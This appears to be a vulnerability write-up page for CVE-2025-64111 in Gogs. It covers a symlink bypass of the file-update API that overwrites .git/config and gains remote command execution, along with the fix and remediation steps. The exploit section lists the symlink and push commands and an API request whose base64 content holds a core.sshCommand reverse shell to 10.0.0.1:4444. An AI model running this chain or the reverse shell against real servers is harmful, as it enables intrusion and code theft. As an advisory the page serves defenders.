CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-64111
9.30.09%

CVE-2025-64111: The Gogs Symlink Shimmy to RCE

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 10, 2026·5 min read·12 visits

PoC Available

Executive Summary (TL;DR)

Gogs failed to recursively validate symbolic links in its file update API. Attackers can push a symlink to a repo, use the API to write through that link into `.git/config`, and achieve RCE via the `core.sshCommand` vector.

A critical Remote Command Execution (RCE) vulnerability in Gogs allows attackers to bypass directory restrictions via symbolic links. By tricking the API into writing to a symlink pointing at `.git/config`, an attacker can inject malicious Git configurations and execute arbitrary commands on the server.

The Hook: Deja Vu All Over Again

There is a special place in a security researcher's heart for "failed patches." It’s that moment when a vendor fixes a vulnerability, pats themselves on the back, and completely misses the adjacent variation of the same bug. CVE-2025-64111 is exactly that—a zombie vulnerability rising from the grave of CVE-2024-56731.

Gogs, the lightweight, self-hosted Git service written in Go, had a problem. They knew users shouldn't be able to modify the internal .git directory via the API. They added checks. They added barriers. But they forgot one of the oldest tricks in the Unix handbook: Symbolic Links.

This isn't just a file overwrite bug; it's a logic flaw in how the application perceives the filesystem versus how the Operating System executes file operations. By exploiting this disconnect, we turn a simple "Update File" API endpoint into a full-blown Remote Command Execution (RCE) vector.

The Flaw: Tunnels Under the Wall

The root cause lies in a classic Time-of-Check to Time-of-Use (TOCTOU) discrepancy, specifically involving path resolution. The Gogs API endpoint PUT /api/v1/repos/{owner}/{repo}/contents/{filepath} allows users to update files in a repository. To prevent sabotage, Gogs checks if the target path is inside .git/ or other sensitive areas.

However, this check was superficial. It looked at the string of the filepath provided in the URL. If I request to update my_innocent_file.txt, the validator smiles and lets me pass. It fails to check if my_innocent_file.txt is actually a symbolic link pointing to .git/config.

When the Go backend executes os.WriteFile (or similar write operations), the OS standard library transparently follows symbolic links. The application thinks it's writing to a user file; the OS resolves the pointer and overwrites the repository's configuration. This is like checking an ID card at the front door but ignoring the tunnel dug straight into the bank vault.

The Code: Auditing the Bypass

Let's look at why the code failed and how it was fixed. The vulnerability existed because the validation logic didn't walk the filesystem tree. It trusted the path name.

The fix introduced in version 0.13.4 forces a recursive check. The developers added a helper function, hasSymlinkInPath, which splits the path into segments and runs os.Lstat on every single one of them. If any part of the chain is a symlink, the operation is aborted.

Here is the logic that killed the bug:

// The fix: explicitly walking the path to find symlinks
func hasSymlinkInPath(base, relPath string) bool {
    parts := strings.Split(filepath.ToSlash(relPath), "/")
    for i := range parts {
        // Construct path segment by segment
        filePath := path.Join(append([]string{base}, parts[:i+1]...)...)
        // Lstat reads the file info without following links
        if osutil.IsSymlink(filePath) {
            return true
        }
    }
    return false
}

This is a heavy operation—it requires multiple syscalls for every file write—but in a security context involving user-controlled filesystems, it is the only way to be sure you aren't writing where you shouldn't.

The Exploit: Weaponizing git config

So we can overwrite .git/config. How do we get a shell? We use the core.sshCommand configuration option. This setting tells Git: "When you need to connect to a remote server via SSH, run this command instead of the default ssh binary."

Here is the attack chain:

  1. Preparation: The attacker creates a Git repository locally.

  2. The Trap: They create a symbolic link named innocent.txt pointing to .git/config and push this to the Gogs server.

    ln -s .git/config innocent.txt
    git add innocent.txt; git commit -m "oops"; git push
  3. The Trigger: The attacker uses the Gogs API to "update" innocent.txt. They send a payload containing a malicious Git config.

    PUT /api/v1/repos/victim/repo/contents/innocent.txt
    {
      "content": "W2NvcmVdCiAgc3NoQ29tbWFuZCA9IC9iaW4vYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDAmMSc=",
      "message": "Updating documentation"
    }

    (The Base64 decodes to [core] sshCommand = /bin/bash -c ...)

  4. Execution: The attacker triggers any server-side Git operation that requires a remote connection (like a mirror sync or a test hook). Gogs executes git fetch, which reads the config, sees sshCommand, and executes the reverse shell.

The Impact: Why You Should Panic

This is a CVSS 9.3 for a reason. Gogs is often used to host proprietary source code, credentials, and CI/CD configurations.

Remote Command Execution on the Gogs server usually means:

  1. Source Code Theft: The attacker can clone all private repositories.
  2. Supply Chain Attack: The attacker can modify code in repositories used by build pipelines, injecting malware into production software downstream.
  3. Lateral Movement: Gogs servers are often internal. A foothold here allows pivoting into the corporate intranet.

Since the exploit requires authentication (to push the repo and call the API), it is technically "Post-Auth," but given that Gogs instances often have open registration or many low-privileged users, the barrier to entry is dangerously low.

The Fix: Closing the Loop

If you are running Gogs <= 0.13.3, you are vulnerable. The fix is available in version 0.13.4 and the 0.14.0+dev branch.

Remediation Steps

  1. Upgrade Immediately: Pull the latest binary or Docker image.
  2. Audit Your Configs: Run the following command in your Gogs repositories directory to check for compromise:
    find /path/to/gogs-repositories -name config -type f -exec grep -H "sshCommand" {} \;
    If you see sshCommand in any repo config that you didn't put there, you have been compromised.
  3. Disable Open Registration: Until you patch, ensure strangers cannot create accounts on your instance.

Official Patches

GogsFix commit for symlink traversal

Fix Analysis (2)

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.09%
Top 74% most exploited

Affected Systems

Gogs (Go Git Service) <= 0.13.3

Affected Versions Detail

Product
Affected Versions
Fixed Version
Gogs
Gogs
<= 0.13.30.13.4
AttributeDetail
CWE IDCWE-59 (Link Resolution)
Attack VectorNetwork (API)
CVSS Score9.3 (Critical)
ImpactRemote Command Execution (RCE)
Exploit StatusPoC Available
VectorSymlink Path Traversal

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1543Create or Modify System Process
Persistence
T1202Indirect Command Execution
Defense Evasion
CWE-59
Improper Link Resolution

Improper Link Resolution Before File Access ('Link Following')

Known Exploits & Detection

GitHub AdvisoryOfficial advisory containing attack vector details

Vulnerability Timeline

Predecessor CVE-2024-56731 identified
2024-12-04
Fix committed to Gogs repository
2026-01-08
Gogs version 0.13.4 released
2026-01-23
CVE-2025-64111 Published
2026-02-06

References & Sources

  • [1]GHSA-gg64-xxr9-qhjp
  • [2]CVE-2025-64111 Record
Related Vulnerabilities
CVE-2024-56731

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.